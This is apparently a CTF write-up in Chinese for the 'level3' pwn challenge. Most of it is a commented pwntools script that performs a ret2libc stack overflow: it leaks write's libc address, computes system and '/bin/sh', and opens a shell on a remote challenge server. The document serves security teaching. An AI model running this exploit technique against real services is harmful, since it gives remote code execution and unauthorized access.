level3的wp

level3

用Linux康康,这是个压缩文件啊,解压康康
在这里插入图片描述
居然是个libc,有意思
先康康level3,是个32位,没有金丝雀
在这里插入图片描述
给了个buf,康康堆栈
在这里插入图片描述
可溢出,但是我们发现没有system函数,但是我们有libc
可以通过libc泄露system函数地址,虽然与原文件地址不一样,但是libc的write函数和system函数之间的地址差是一样的
写脚本

#导入pwn模块
from pwn import *

#获取远程进程对象
p=remote('111.198.29.45',41496)

#获取本地进程对象
#p = process("./level3/level3")

#获取文件对象
elf=ELF('./level3/level3')

#获取lib库对象
libc = ELF('./level3/libc_32.so.6')

#获取函数
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']

#接收数据
p.recvuntil(":\n")

#char[88] ebp  write函数地址  write函数返回地址(返回到main函数)  write函数参数一(1)  write函数参数二(write_got地址)  write函数参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)

p.sendline(payload)

#获取write在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)

#计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']
#输出打包
print hex(libc_base)

#计算system的地址
system_addr = libc_base+libc.sym['system']
print hex(system_addr)

#计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
bin_sh_addr = libc_base + 0x15902b
print hex(bin_sh_addr)

#char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)

#接收数据
p.recvuntil(":\n")

#发送payload
p.sendline(payload2)

#切换交互模式
p.interactive()


  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值